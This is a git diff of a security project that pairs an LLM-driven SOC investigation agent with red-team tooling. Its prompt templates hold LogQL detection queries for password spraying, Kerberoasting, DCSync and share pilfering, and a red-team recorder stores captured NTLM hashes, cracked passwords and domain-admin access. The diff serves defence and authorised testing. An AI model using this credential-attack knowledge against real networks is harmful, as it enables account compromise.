+ username=data.get("username", "Unknown"),
+ hash_value=data["hash_value"],
+ hash_type=data.get("hash_type", "NTLM"),
+ domain=data.get("domain", ""),
+ cracked_password=data.get("cracked_password", ""),
+ )
+ self.state.hashes.append(hash_obj)
+ logger.info(f"[+] Recorded hash for: {hash_obj.username}")
+ return f"✓ Recorded hash for: {hash_obj.username}"
+
+ if finding_type == "share":
+ share = Share(
+ host=data.get("host_ip", data.get("host", "")),
+ name=data.get("share_name", data.get("name", "")),
+ permissions=data.get("permissions", ""),
+ comment=data.get("comment", data.get("description", "")),
+ )
+ self.state.shares.append(share)
+ logger.info(f"[+] Recorded share: {share.name} on {share.host}")
+ return f"✓ Recorded share: {share.name} on {share.host}"
+
+ if finding_type == "admin_access":
+ self.state.has_domain_admin = True
+ event = TimelineEvent(
+ id=f"evt-{len(self.state.timeline):04d}",
+ timestamp=datetime.now(timezone.utc),
+ description=f"Domain admin access achieved: {data.get('details', '')}",
+ mitre_techniques=["T1078.002"], # Domain Accounts
+ confidence=1.0,
+ source="domain_admin_checker",
+ )
+ self.state.timeline.append(event)
+ logger.info("[+] CRITICAL: Domain admin access recorded!")
+ return "✓ CRITICAL: Domain admin access recorded!"
+
+ return f"[!] Unknown finding type: {finding_type}"
+
+ except Exception as e:
+ logger.error(f"[!] Error recording finding: {e}")
+ return f"[!] Error recording finding: {e}"
diff --git a/src/ares/tools/shared/__init__.py b/src/ares/tools/shared/__init__.py
new file mode 100644
index 00000000..25bc85fd
--- /dev/null
+++ b/src/ares/tools/shared/__init__.py
@@ -0,0 +1,7 @@
+"""Shared tools for both blue and red team operations."""
+
+from ares.tools.shared.mitre import MITRELookupTools
+
+__all__ = [
+ "MITRELookupTools",
+]
diff --git a/src/tools/mitre.py b/src/ares/tools/shared/mitre.py
similarity index 98%
rename from src/tools/mitre.py
rename to src/ares/tools/shared/mitre.py
index 26813bb0..134d481b 100644
--- a/src/tools/mitre.py
+++ b/src/ares/tools/shared/mitre.py
@@ -3,7 +3,7 @@
import dreadnode as dn
from dreadnode.agent.tools.base import Toolset
-from src.mitre import MITREAttackClient
+from ares.integrations.mitre import MITREAttackClient
class MITRELookupTools(Toolset): # type: ignore[misc]
diff --git a/src/core/__init__.py b/src/core/__init__.py
deleted file mode 100644
index db546728..00000000
--- a/src/core/__init__.py
+++ /dev/null
@@ -1,5 +0,0 @@
-"""Core agent creation and configuration."""
-
-from .create import create_investigation_agent
-
-__all__ = ["create_investigation_agent"]
diff --git a/src/main.py b/src/main.py
deleted file mode 100644
index 9b08025e..00000000
--- a/src/main.py
+++ /dev/null
@@ -1,284 +0,0 @@
-"""
-Ares SOC Investigation Agent - Entry Point
-
-Run with: uv run python -m ares [OPTIONS]
-"""
-
-import asyncio
-import os
-from dataclasses import dataclass
-from pathlib import Path
-
-import cyclopts
-import dreadnode as dn
-from loguru import logger
-
-app = cyclopts.App(
- name="ares",
- help="Autonomous SOC Investigation Agent - Question-driven threat investigation",
-)
-
-
-@dataclass
-class Args:
- """Investigation agent arguments.
-
- Attributes:
- model: LLM model to use (supports litellm format).
- grafana_url: Grafana URL for alert polling and MCP connection.
- grafana_api_key: Grafana API key (or set GRAFANA_API_KEY env var).
- poll_interval: Seconds between alert polling cycles.
- max_steps: Maximum agent steps per investigation.
- report_dir: Directory for markdown reports.
- """
-
- model: str = "claude-sonnet-4-20250514"
- grafana_url: str = "https://grafana.dev.plundr.ai"
- grafana_api_key: str = ""
- poll_interval: int = 30
- max_steps: int = 150
- report_dir: str = "reports"
-
-
-@dataclass
-class DreadnodeArgs:
- """Dreadnode platform arguments.
-
- Attributes:
- server: Dreadnode platform server URL.
- token: Dreadnode API token (or set DREADNODE_API_KEY env var).
- organization: Dreadnode organization name.
- workspace: Dreadnode workspace name.
- project: Dreadnode project name.
- console: Enable console output.
- """
-
- server: str = "https://platform.dev.plundr.ai/"
- token: str = ""
- organization: str = "ares"
- workspace: str = "ares-protocol"
- project: str = "ares-soc"
- console: bool = True
-
-
-# Cyclopts decorator typing not yet fully supported by type checkers
-@app.default # type: ignore[untyped-decorator]
-async def main(
- *,
- args: Args | None = None,
- dn_args: DreadnodeArgs | None = None,
-) -> None:
- """
- Run the Ares SOC Investigation Agent.
-
- Polls Grafana for alerts and autonomously investigates each one,
- producing threat intelligence reports.
-
- Example:
- uv run python -m ares --model claude-sonnet-4-20250514 --grafana-url http://grafana:3000
-
- Environment Variables:
- GRAFANA_API_KEY: Grafana API key
- DREADNODE_API_KEY: Dreadnode platform token
- OPENAI_API_KEY / ANTHROPIC_API_KEY: LLM provider keys
- """
- args = args or Args()
- dn_args = dn_args or DreadnodeArgs()
-
- # Get API keys from environment if not provided
- grafana_api_key = args.grafana_api_key or os.getenv("GRAFANA_API_KEY", "")
- dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "")
-
- # Configure Dreadnode
- dn.configure(
- server=dn_args.server,
- token=dreadnode_token,
- organization=dn_args.organization,
- workspace=dn_args.workspace,
- project=dn_args.project,
- console=dn_args.console,
- )
-
- # Log startup
- logger.info("=" * 60)
- logger.info("ARES SOC INVESTIGATION AGENT")
- logger.info("=" * 60)
- logger.info(f"Model: {args.model}")
- logger.info(f"Grafana: {args.grafana_url}")
- logger.info(f"Poll Interval: {args.poll_interval}s")
- logger.info(f"Max Steps: {args.max_steps}")
- logger.info(f"Report Dir: {args.report_dir}")
- logger.info("=" * 60)
-
- from .agent import InvestigationOrchestrator
- from .mitre import MITREAttackClient
- from .tools import GrafanaTools
-
- # Initialize MITRE client
- logger.info("Loading MITRE ATT&CK data from STIX repository...")
- mitre_client = MITREAttackClient()
- await mitre_client.load()
- # Accessing protected members for logging/diagnostics only - not modifying internal state
- techniques_count = len(mitre_client._techniques) # noqa: SLF001
- tactics_count = len(mitre_client._tactics) # noqa: SLF001
- logger.success(f"Loaded {techniques_count} techniques, {tactics_count} tactics")
-
- # Create report directory
- report_dir = Path(args.report_dir)
- report_dir.mkdir(exist_ok=True)
-
- # Initialize orchestrator
- orchestrator = InvestigationOrchestrator(
- model=args.model,
- grafana_url=args.grafana_url,
- grafana_api_key=grafana_api_key,
- mitre_client=mitre_client,
- report_dir=report_dir,
- max_steps=args.max_steps,
- )
-
- # Initialize Grafana client for polling
- grafana = GrafanaTools(
- base_url=args.grafana_url,
- api_key=grafana_api_key,
- )
-
- # Track investigated alerts
- investigated_fingerprints: set[str] = set()
-
- logger.info(f"Polling for alerts every {args.poll_interval}s...")
- logger.info("Press Ctrl+C to stop")
- logger.info("")
-
- while True:
- try:
- # Poll for firing alerts
- alerts = await grafana.get_firing_alerts()
-
- for alert in alerts:
- fingerprint = alert.get("fingerprint", "")
-
- # Skip already investigated
- if fingerprint in investigated_fingerprints:
- continue
-
- alert_name = alert.get("labels", {}).get("alertname", "unknown")
- severity = alert.get("labels", {}).get("severity", "unknown")
-
- logger.info("")
- logger.info("=" * 60)
- logger.info(f"NEW ALERT: {alert_name}")
- logger.info(f"Severity: {severity}")
- logger.info(f"Fingerprint: {fingerprint}")
- logger.info("=" * 60)
-
- # Mark as being investigated
- investigated_fingerprints.add(fingerprint)
-
- # Run investigation
- try:
- result = await orchestrator.investigate(alert)
-
- logger.success("")
- logger.success("INVESTIGATION COMPLETE")
- logger.success(f" Status: {result['status']}")
- logger.success(f" Evidence: {result['evidence_count']} items")
- logger.success(f" Techniques: {len(result['techniques_identified'])}")
- logger.success(f" Pyramid Level: {result['highest_pyramid_level']}/6")
- logger.success(f" Report: {result['report_path']}")
-
- except Exception as e:
- logger.error(f"Investigation failed: {e}")
- dn.log_metric("investigation_failed", 1, mode="count")
-
- # Wait before next poll
- await asyncio.sleep(args.poll_interval)
-
- except KeyboardInterrupt:
- logger.info("")
- logger.info("Shutting down...")
- break
-
- except Exception as e:
- logger.error(f"Polling error: {e}")
- await asyncio.sleep(args.poll_interval)
-
-
-# Cyclopts decorator typing not yet fully supported by type checkers
-@app.command # type: ignore[untyped-decorator]
-async def investigate_alert(
- alert_json: str,
- *,
- args: Args | None = None,
- dn_args: DreadnodeArgs | None = None,
-) -> None:
- """
- Investigate a specific alert (JSON string or file path).
-
- Example:
- uv run python -m ares investigate-alert '{"labels": {"alertname": "HighCPU"}}'
- uv run python -m ares investigate-alert ./alert.json
- """
- import json
-
- args = args or Args()
- dn_args = dn_args or DreadnodeArgs()
-
- # Parse alert
- if alert_json.startswith("{"):
- alert = json.loads(alert_json)
- else:
- alert = json.loads(Path(alert_json).read_text())
-
- # Configure Dreadnode
- grafana_api_key = args.grafana_api_key or os.getenv("GRAFANA_API_KEY", "")
- dreadnode_token = dn_args.token or os.getenv("DREADNODE_API_KEY", "")
-
- dn.configure(
- server=dn_args.server,
- token=dreadnode_token,
- organization=dn_args.organization,
- workspace=dn_args.workspace,
- project=dn_args.project,
- console=dn_args.console,
- )
-
- from .agent import InvestigationOrchestrator
- from .mitre import MITREAttackClient
-
- # Load MITRE data
- logger.info("Loading MITRE ATT&CK data...")
- mitre_client = MITREAttackClient()
- await mitre_client.load()
-
- # Create orchestrator
- report_dir = Path(args.report_dir)
- report_dir.mkdir(exist_ok=True)
-
- orchestrator = InvestigationOrchestrator(
- model=args.model,
- grafana_url=args.grafana_url,
- grafana_api_key=grafana_api_key,
- mitre_client=mitre_client,
- report_dir=report_dir,
- max_steps=args.max_steps,
- )
-
- # Run investigation
- logger.info(f"Investigating alert: {alert.get('labels', {}).get('alertname', 'unknown')}")
-
- result = await orchestrator.investigate(alert)
-
- logger.success("")
- logger.success("INVESTIGATION COMPLETE")
- logger.success(f" Report: {result['report_path']}")
-
-
-# Cyclopts decorator typing not yet fully supported by type checkers
-@app.command # type: ignore[untyped-decorator]
-def version() -> None:
- """Print version information."""
-
-
-if __name__ == "__main__":
- app()
diff --git a/src/tools/__init__.py b/src/tools/__init__.py
deleted file mode 100644
index 25e210dd..00000000
--- a/src/tools/__init__.py
+++ /dev/null
@@ -1,19 +0,0 @@
-"""Tools for Ares SOC Investigation Agent."""
-
-from .actions import complete_investigation, escalate_investigation
-from .grafana import GrafanaTools, connect_grafana_mcp
-from .investigation import InvestigationTools, QuestionEngineTools
-from .mitre import MITRELookupTools
-from .observability import LokiTools, PrometheusTools
-
-__all__ = [
- "GrafanaTools",
- "InvestigationTools",
- "LokiTools",
- "MITRELookupTools",
- "PrometheusTools",
- "QuestionEngineTools",
- "complete_investigation",
- "connect_grafana_mcp",
- "escalate_investigation",
-]
diff --git a/src/tools/actions.py b/src/tools/actions.py
deleted file mode 100644
index f0402d73..00000000
--- a/src/tools/actions.py
+++ /dev/null
@@ -1,124 +0,0 @@
-"""Investigation completion and escalation actions."""
-
-from datetime import datetime, timezone
-
-import dreadnode as dn
-from loguru import logger
-
-
-@dn.tool() # type: ignore[untyped-decorator]
-async def complete_investigation(
- summary: str,
- attack_synopsis: str,
- recommendations: list[str],
- confidence: str,
-) -> str:
- """Complete the investigation and signal report generation.
-
- Call this when you have:
- 1. A clear timeline of events
- 2. Identified TTPs with MITRE mappings
- 3. Assessed scope and blast radius
- 4. Produced actionable intelligence
-
- Args:
- summary: Executive summary (2-3 sentences).
- attack_synopsis: Description of what happened.
- recommendations: List of recommended actions.
- confidence: Overall confidence level (high/medium/low with explanation).
-
- Returns:
- Confirmation message.
-
- Example:
- >>> await complete_investigation(
- ... summary="Detected PowerShell-based reconnaissance on web-01. "
- ... "Attack chain progressed to credential access.",
- ... attack_synopsis="Attacker used PowerShell to enumerate Active Directory...",
- ... recommendations=[
- ... "Rotate credentials for compromised accounts",
- ... "Enable PowerShell script block logging",
- ... "Review lateral movement paths"
- ... ],
- ... confidence="High - Multiple corroborating evidence items with MITRE mappings"
- ... )
- 'Investigation completed. Report will be generated.'
-
- See Also:
- escalate_investigation: For escalating to human analyst when needed.
- """
- dn.log_metric("investigation_completed", 1)
- dn.log_output(
- "completion_summary",
- {
- "summary": summary,
- "attack_synopsis": attack_synopsis,
- "recommendations": recommendations,
- "confidence": confidence,
- },
- )
-
- logger.success("Investigation completed")
-
- return "Investigation completed. Report will be generated."
-
-
-@dn.tool() # type: ignore[untyped-decorator]
-async def escalate_investigation(
- reason: str,
- severity: str,
- current_findings: str,
- immediate_actions: list[str],
-) -> str:
- """Escalate the investigation for human analyst review.
-
- Call this if:
- - You identify an active, ongoing attack
- - The scope exceeds investigation capacity
- - You need human analyst intervention
- - Critical infrastructure is at risk
-
- Args:
- reason: Why escalation is needed.
- severity: critical, high, or medium.
- current_findings: Summary of what you've found so far.
- immediate_actions: Actions that should be taken immediately.
-
- Returns:
- Confirmation message.
-
- Example:
- >>> await escalate_investigation(
- ... reason="Active lateral movement detected across 15+ hosts",
- ... severity="critical",
- ... current_findings="Attacker has Domain Admin credentials and is actively "
- ... "exfiltrating data from file servers.",
- ... immediate_actions=[
- ... "Isolate compromised domain controller",
- ... "Reset all privileged account passwords",
- ... "Block C2 IP addresses at firewall"
- ... ]
- ... )
- 'Investigation escalated with severity=critical. Human analyst notified.'
-
- See Also:
- complete_investigation: For normal investigation completion.
- """
- dn.log_metric("investigation_escalated", 1)
- dn.tag(f"escalation:{severity}")
- dn.tag("needs_human_review")
-
- dn.log_output(
- "escalation",
- {
- "reason": reason,
- "severity": severity,
- "findings": current_findings,
- "immediate_actions": immediate_actions,
- "escalated_at": datetime.now(timezone.utc).isoformat(),
- },
- )
-
- logger.warning(f"Investigation escalated: {reason}")
-
- return f"Investigation escalated with severity={severity}. Human analyst notified."
diff --git a/templates/agent/initial_alert_prompt.md.jinja b/templates/agent/initial_alert_prompt.md.jinja
index bd4a18a3..6c23cb89 100644
--- a/templates/agent/initial_alert_prompt.md.jinja
+++ b/templates/agent/initial_alert_prompt.md.jinja
@@ -1,24 +1,172 @@
ALERT RECEIVED - BEGIN INVESTIGATION
-Alert Name: {{ alert_name }}
-Severity: {{ severity }}
-Instance: {{ instance }}
-Job: {{ job }}
-Started At: {{ starts_at }}
+## Alert Details
+- **Alert Name**: {{ alert_name }}
+{% if labels.rulename and labels.rulename != alert_name %}
+- **Original Rule**: {{ labels.rulename }} ⚠️ THIS IS THE ACTUAL SECURITY ALERT
+{% endif %}
+- **Severity**: {{ severity }}
+- **Instance**: {{ instance }}
+- **Job**: {{ job }}
+- **Alert Started At**: {{ starts_at }} ⚠️ MAY BE STALE - SEE BELOW
+- **Summary**: {{ summary }}
+- **Description**: {{ description }}
-Summary: {{ summary }}
+{% if alert_name == 'DatasourceNoData' and labels.rulename %}
+## ⚠️ IMPORTANT: This is a Health Alert for a Security Rule ⚠️
+This "DatasourceNoData" alert was generated because the **{{ labels.rulename }}** rule
+could not evaluate (Loki returned no data). However, the security context (MITRE technique,
+description) is from the original rule.
-Description: {{ description }}
+**INVESTIGATE**: {{ labels.rulename }} - NOT "DatasourceNoData"
+{% endif %}
-Full Alert Labels: {{ labels }}
+## Full Alert Labels
+{{ labels }}
+
+{% if mitre_technique %}
+## ⚠️ MITRE TECHNIQUE FROM ALERT ⚠️
+**The alert has identified: {{ mitre_technique }}**
+You MUST record this technique with record_evidence() and investigate it specifically.
+This is the PRIMARY technique to investigate - do NOT ignore it.
+
+## 🔍 PRECURSOR INVESTIGATION REQUIRED 🔍
+**Attacks NEVER happen in isolation. You MUST investigate what came BEFORE.**
+
+When you call get_combined_questions(), you will receive PRECURSOR QUESTIONS.
+These are HIGH PRIORITY and must be investigated to understand the full attack chain.
+
+**Common Precursors by Detected Technique:**
+
+{% if 'DCSync' in mitre_technique or 'T1003.006' in mitre_technique %}
+**For DCSync (T1003.006), investigate:**
+1. ☐ User enumeration (T1087) - LDAP queries for users
+2. ☐ Share enumeration (T1135) - Access to SYSVOL, NETLOGON
+3. ☐ Password guessing (T1110) - Failed logons (Event 4625)
+4. ☐ Credential theft (T1039) - Files accessed on shares
+5. ☐ Host discovery (T1018) - DNS queries, ping sweeps
+{% endif %}
+
+{% if 'Kerberoast' in mitre_technique or 'T1558.003' in mitre_technique %}
+**For Kerberoasting (T1558.003), investigate:**
+1. ☐ SPN enumeration (T1087.002) - Queries for servicePrincipalName
+2. ☐ User enumeration (T1087) - Discovery of service accounts
+3. ☐ TGS requests (Event 4769) - Especially with RC4 encryption
+{% endif %}
+
+{% if 'Pass' in mitre_technique or 'T1550' in mitre_technique %}
+**For Pass-the-Hash/Ticket, investigate:**
+1. ☐ Credential dumping (T1003) - LSASS access, SAM dumps
+2. ☐ Lateral movement sources - Where did credentials come from?
+{% endif %}
+
+**General Precursor Checklist:**
+- ☐ Check for authentication failures 24-48 hours before the attack
+- ☐ Check for share access from the source IP/user
+- ☐ Check for enumeration activity (LDAP, DNS, SMB)
+- ☐ Identify ALL users who interacted with the source system
+- ☐ Identify ALL hosts the attacker communicated with
+{% endif %}
---
-1. First, call get_combined_questions() to generate initial questions
-2. Parse the alert to understand what triggered it
-3. Query Loki/Prometheus to gather initial evidence around the alert time
-4. Record all evidence with record_evidence()
-5. Continue following the question engines' guidance
+## 🚨 CRITICAL: USE THESE EXACT TIME VALUES 🚨
+
+**CURRENT TIME**: {{ current_time }}
+**QUERY START (1h ago)**: {{ current_time_minus_1h }}
+**QUERY START (2h ago)**: {{ current_time_minus_2h }}
+
+The alert's `startsAt` ({{ starts_at }}) may be HOURS or DAYS old.
+**DO NOT** query around the alert timestamp.
+**DO** query from {{ current_time_minus_2h }} to {{ current_time }}.
+
+---
+
+## MANDATORY FIRST STEP
+
+You MUST run this query FIRST before doing anything else:
+
+{% set effective_alert_name = labels.rulename if (alert_name == 'DatasourceNoData' and labels.rulename) else alert_name %}
+{% set search_term = effective_alert_name.split(':')[-1].strip().split()[0] if ':' in effective_alert_name else effective_alert_name.split()[0] %}
+```
+mcp__grafana__query_loki_logs(
+ datasourceUid="",
+ logql="{deployment=~\".+\"} |= \"{{ search_term }}\"",
+ startRfc3339="{{ current_time_minus_2h }}",
+ endRfc3339="{{ current_time }}",
+ limit=100
+)
+```
+{% if alert_name == 'DatasourceNoData' and labels.rulename %}
+**NOTE**: Searching for "{{ search_term }}" (from rulename: {{ labels.rulename }})
+{% endif %}
+
+If no results, try broader queries but ALWAYS use the time range above.
+
+**CRITICAL**: After EVERY query (whether it returns results or not), you MUST:
+1. If results found: Call record_evidence() for EACH user/host/IP/process/finding
+2. If NO results: Document this and either try a broader query OR move forward with get_combined_questions()
+3. DO NOT query multiple times without calling record_evidence() or get_combined_questions()
+
+**YOU ARE STUCK IN A LOOP IF**: You make 3+ queries without calling record_evidence() or get_combined_questions()
+
+---
+
+## Target Scope Extraction
+
+{% if labels.deployment %}
+- **Deployment**: `{{ labels.deployment }}` - FILTER ALL QUERIES with `{deployment="{{ labels.deployment }}"}`
+{% endif %}
+{% if labels.instance %}
+- **Instance**: {{ labels.instance }}
+{% endif %}
+{% if labels.host or labels.hostname %}
+- **Host**: {{ labels.host or labels.hostname }}
+{% endif %}
+{% if labels.ip or labels.src_ip or labels.dest_ip %}
+- **IP**: {{ labels.ip or labels.src_ip or labels.dest_ip }}
+{% endif %}
+{% if labels.user or labels.username or labels.account %}
+- **User**: {{ labels.user or labels.username or labels.account }}
+{% endif %}
+
+---
+
+## Investigation Checklist
+
+### Stage 1: TRIAGE
+1. ☐ Run mcp__grafana__list_datasources to find Loki datasource UID
+2. ☐ Query RECENT logs ({{ current_time_minus_2h }} to {{ current_time }})
+3. ☐ Record evidence with record_evidence() for each finding
+{% if mitre_technique %}
+4. ☐ Record the alert's MITRE technique: {{ mitre_technique }}
+{% endif %}
+5. ☐ Call track_host_investigation() for each affected host
+6. ☐ Call track_user_investigation() for each affected user
+7. ☐ Call get_combined_questions() to get PRECURSOR QUESTIONS
+
+### Stage 2: CAUSATION (PRECURSOR INVESTIGATION - CRITICAL!)
+8. ☐ Investigate PRECURSOR techniques (what came BEFORE the attack)
+9. ☐ Query for authentication failures (Event 4625) - password spray/brute force
+10. ☐ Query for share access (Event 5140/5145) - SYSVOL/NETLOGON pilfering
+11. ☐ Query for enumeration (Event 4662) - user/group/host discovery
+12. ☐ Expand time windows BACKWARDS (up to 24-48 hours before attack)
+13. ☐ Build timeline with add_timeline_event() for EACH precursor
+14. ☐ Call transition_stage("lateral")
+
+### Stage 3: LATERAL (SCOPE INVESTIGATION)
+15. ☐ Identify ALL compromised accounts (not just those in alert)
+16. ☐ Identify ALL affected hosts (including discovered DCs)
+17. ☐ Check for lateral movement from initial compromise
+18. ☐ Call transition_stage("synthesis")
+
+### Stage 4: SYNTHESIS
+19. ☐ Call complete_investigation() with ALL required fields
-Remember: Execute queries in PARALLEL when they are independent.
-The goal is to reach TTPs (Pyramid level 6), not just collect IOCs.
+**DO NOT complete the investigation until you have:**
+- Identified specific affected hosts (including ALL domain controllers)
+- Identified ALL compromised user accounts
+- Investigated precursor techniques (enumeration, credential access)
+- Created a complete timeline from initial access to detected attack
+- Recorded at least 5 evidence items covering the full attack chain
+- Mapped the attack to multiple MITRE techniques (not just the alert technique)
diff --git a/templates/agent/system_instructions.md.jinja b/templates/agent/system_instructions.md.jinja
index a1039411..8f073c9a 100644
--- a/templates/agent/system_instructions.md.jinja
+++ b/templates/agent/system_instructions.md.jinja
@@ -4,40 +4,96 @@ question-driven investigation.
## Core Investigation Philosophy
-You are driven by TWO QUESTION ENGINES that must guide your every action:
+You are driven by FOUR QUESTION ENGINES that must guide your every action:
-### 1. MITRE ATT&CK Navigator (generate_mitre_questions)
+### 1. PRECURSOR ATTACK CHAIN (HIGHEST PRIORITY)
+- When you detect a technique, ALWAYS ask: "What came BEFORE this?"
+- Attacks don't happen in isolation - there's ALWAYS a chain
+- Example: DCSync (T1003.006) is NEVER the first thing an attacker does
+- Look for: enumeration, credential access, share pilfering, brute force
+- The get_combined_questions() tool will generate precursor questions automatically
+
+### 2. MITRE ATT&CK Navigator (generate_mitre_questions)
- Maps evidence to techniques
- Predicts what techniques might follow
- Identifies tactical gaps ("we haven't checked for persistence yet")
- Ensures complete attack lifecycle coverage
-### 2. Pyramid of Pain Climber (generate_pyramid_questions)
+### 3. Pyramid of Pain Climber (generate_pyramid_questions)
- Classifies evidence by how "painful" it is for adversaries to change
- Always pushes you from trivial indicators (hashes, IPs) toward TTPs
- The goal is NOT to collect IOCs - it's to understand BEHAVIOR
+### 4. Detection Recipes (Windows Security Events)
+- Provides specific Windows Event IDs to search for
+- Includes LogQL query patterns for common attack patterns
+- Structured investigation steps for each attack type
+
**PRIME DIRECTIVE**: After every batch of evidence, call get_combined_questions()
-and let those questions guide your next actions.
+and let those questions guide your next actions. PRECURSOR QUESTIONS ARE HIGHEST PRIORITY.
## Investigation Workflow
### Stage 1: TRIAGE (WHAT is happening?)
-1. Parse the alert payload
-2. Call get_combined_questions() for initial questions
-3. Execute PARALLEL queries to Loki/Prometheus to answer questions
-4. Call record_evidence() for each finding
-5. Call get_combined_questions() again
-6. Repeat until you understand WHAT triggered the alert
-7. Call transition_stage("causation")
-
-### Stage 2: CAUSATION (WHY did it happen?)
-1. Call get_combined_questions() for causation questions
-2. Expand time windows to find precursor events
-3. Execute PARALLEL queries to trace back in time
-4. Build timeline with add_timeline_event()
-5. Continue until you understand the attack chain
-6. Call transition_stage("lateral")
+
+**🚨 CRITICAL - USE TIME VALUES FROM INITIAL PROMPT 🚨**
+
+The alert's `startsAt` timestamp is likely STALE. The initial prompt provides:
+- CURRENT_TIME: Use this as endRfc3339
+- CURRENT_TIME_MINUS_1H / MINUS_2H: Use these as startRfc3339
+
+**DO NOT** use the alert's startsAt for queries.
+**DO** use the exact timestamps provided in the initial prompt.
+
+**🚨 MANDATORY WORKFLOW - DO NOT SKIP STEPS 🚨**
+
+1. **FIRST**: Run mcp__grafana__list_datasources to get Loki datasource UID
+2. **SECOND**: Query RECENT logs using time values from initial prompt
+3. **IMMEDIATELY AFTER QUERY**: Extract usernames, hostnames, IPs from the results
+4. **MANDATORY**: Call record_evidence() for EACH finding with MITRE technique if known
+ - If query returns results: record_evidence() for EACH user/host/IP/process found
+ - If query returns EMPTY: Document this and try a broader query OR move forward
+ - DO NOT make multiple queries without calling record_evidence() in between
+5. Call track_host_investigation() for each host found
+6. Call track_user_investigation() for each user found
+7. Call get_combined_questions() for follow-up questions
+8. Repeat until you understand WHAT triggered the alert
+9. Call transition_stage("causation")
+
+**ANTI-PATTERN - DO NOT DO THIS:**
+- ❌ Query logs → Query logs → Query logs → Query logs (NO EVIDENCE RECORDED)
+- ❌ Querying the same data multiple times without recording findings
+- ❌ Getting stuck trying to find "perfect" data before recording anything
+
+**CORRECT PATTERN:**
+- ✅ Query logs → record_evidence() for findings → Query logs → record_evidence() → get_combined_questions()
+- ✅ Query returns empty → Document this → Try broader query OR call get_combined_questions()
+- ✅ Making progress through the investigation stages
+
+### Stage 2: CAUSATION (WHY did it happen? What came BEFORE?)
+
+**THIS IS THE MOST CRITICAL STAGE - DON'T SKIP PRECURSOR INVESTIGATION**
+
+1. Call get_combined_questions() - PRECURSOR QUESTIONS will be highest priority
+2. For EACH precursor question, investigate:
+ - **Authentication failures** (Event 4625): Password spraying, brute force
+ - **Share access** (Event 5140/5145): SYSVOL, NETLOGON pilfering
+ - **LDAP queries** (Event 4662): User/group/computer enumeration
+ - **Kerberos events** (Event 4768/4769): AS-REP roasting, Kerberoasting
+3. Expand time windows BACKWARDS (hours or days before the detected attack)
+4. Build timeline with add_timeline_event() for EACH precursor event
+5. Track ALL users discovered with track_user_investigation()
+6. Track ALL hosts discovered with track_host_investigation()
+7. Continue until you've mapped the COMPLETE attack chain from initial access
+8. Call transition_stage("lateral")
+
+**COMMON PRECURSOR PATTERNS:**
+- Before DCSync: enumeration (T1087), share access (T1135), credential theft (T1039)
+- Before Lateral Movement: credential dumping (T1003), valid accounts (T1078)
+- Before Persistence: initial access (T1078), privilege escalation (T1068)
+
+**DO NOT skip this stage. If you only detect the final attack without precursors,
+your investigation is INCOMPLETE.**
### Stage 3: LATERAL (What is the SCOPE?)
1. Call get_combined_questions() for scope questions
@@ -79,14 +135,97 @@ Example - BAD (sequential):
You write your own LogQL and PromQL queries. NO templates.
Use your knowledge of these query languages.
-LogQL examples:
-- {job="syslog", hostname="X"} |= "error" | json
+**LogQL Syntax Rules (CRITICAL - avoid parse errors):**
+
+1. Start with label matchers in curly braces: {job="value"}
+2. Line filters use |= != |~ !~ operators:
+ - ✅ {job="syslog"} |= "error"
+ - ❌ {job="syslog"} = "error" (wrong operator)
+ - ❌ {job="syslog"} "error" (missing operator)
+3. Parser expressions use | json, | logfmt, | pattern:
+ - ✅ {job="app"} | json | status="500"
+ - ❌ {job="app"} json (missing pipe)
+4. Avoid empty-compatible regex:
+ - ✅ {app=~".+"}
+ - ❌ {app=~".*"}
+
+**Valid LogQL examples:**
+- {job="syslog", hostname="web-01"} |= "error"
- {namespace="prod"} | json | status >= 400
- {job="auth"} |~ "(?i)failed|denied"
+- {app=~"web-.+"} != "healthcheck" | json
-PromQL examples:
+**PromQL examples:**
- rate(http_requests_total{status=~"5.."}[5m])
-- node_cpu_seconds_total{instance="X:9100"}
+- node_cpu_seconds_total{instance="web-01:9100"}
+
+## Windows Security Event Detection (CRITICAL FOR AD ATTACKS)
+
+When investigating Active Directory attacks, you MUST query for these Windows Security Events:
+
+### Authentication Events (Brute Force, Password Spray)
+- **Event 4625** - Failed logon (password spray, brute force)
+ ```
+ {job=~".*"} |~ "(?i)4625" |~ "(?i)(failure|failed)"
+ ```
+- **Event 4624** - Successful logon (track after failures)
+ ```
+ {job=~".*"} |= "4624" |~ "(?i)logon"
+ ```
+- **Event 4771** - Kerberos pre-auth failed
+- **Event 4776** - NTLM credential validation
+
+### Share Access Events (Credential Pilfering)
+- **Event 5140** - Network share accessed
+ ```
+ {job=~".*"} |~ "(?i)5140" |~ "(?i)(sysvol|netlogon)"
+ ```
+- **Event 5145** - Detailed share object access
+ ```
+ {job=~".*"} |~ "(?i)5145"
+ ```
+
+### Enumeration Events (Reconnaissance)
+- **Event 4662** - AD object access (LDAP queries, DCSync)
+ ```
+ {job=~".*"} |= "4662"
+ ```
+- **Event 4661** - SAM handle request
+
+### Kerberos Events (Ticket Attacks)
+- **Event 4768** - TGT requested (Golden ticket, AS-REP roasting)
+- **Event 4769** - TGS requested (Kerberoasting, Silver ticket)
+ ```
+ {job=~".*"} |~ "(?i)4769" |~ "(?i)(0x17|RC4)"
+ ```
+
+### Privilege Events
+- **Event 4672** - Special privileges assigned
+- **Event 4648** - Explicit credential logon (pass-the-hash)
+
+**DETECTION PATTERNS:**
+
+1. **Password Spray Detection:**
+ - Multiple distinct users (5+) with Event 4625
+ - Same source IP
+ - Short time window (<30 minutes)
+ ```
+ {job=~".*"} |= "4625" | json | line_format "{% raw %}{{.IpAddress}} {{.TargetUserName}}{% endraw %}"
+ ```
+
+2. **Share Pilfering Detection:**
+ - Event 5140 with ShareName containing SYSVOL or NETLOGON
+ - Non-administrator accounts accessing these shares
+ ```
+ {job=~".*"} |~ "(?i)(5140|5145)" |~ "(?i)(sysvol|netlogon)"
+ ```
+
+3. **User Enumeration Detection:**
+ - Bulk LDAP queries (Event 4662)
+ - Queries for objectClass=user or servicePrincipalName
+ ```
+ {job=~".*"} |~ "(?i)(objectclass=user|serviceprincipalname)"
+ ```
## Grafana MCP Tools (Enhanced Querying)
diff --git a/templates/engines/attack_chains.yaml b/templates/engines/attack_chains.yaml
new file mode 100644
index 00000000..adc968ec
--- /dev/null
+++ b/templates/engines/attack_chains.yaml
@@ -0,0 +1,506 @@
+# Attack Chain Definitions
+# Maps detected techniques to their common precursors and indicators
+#
+# When a technique is detected, the blue team should investigate:
+# 1. precursors: Techniques that typically come BEFORE this one
+# 2. windows_events: Windows Security Event IDs to search for
+# 3. log_patterns: LogQL query patterns for detection
+# 4. investigation_questions: Specific questions to ask
+
+---
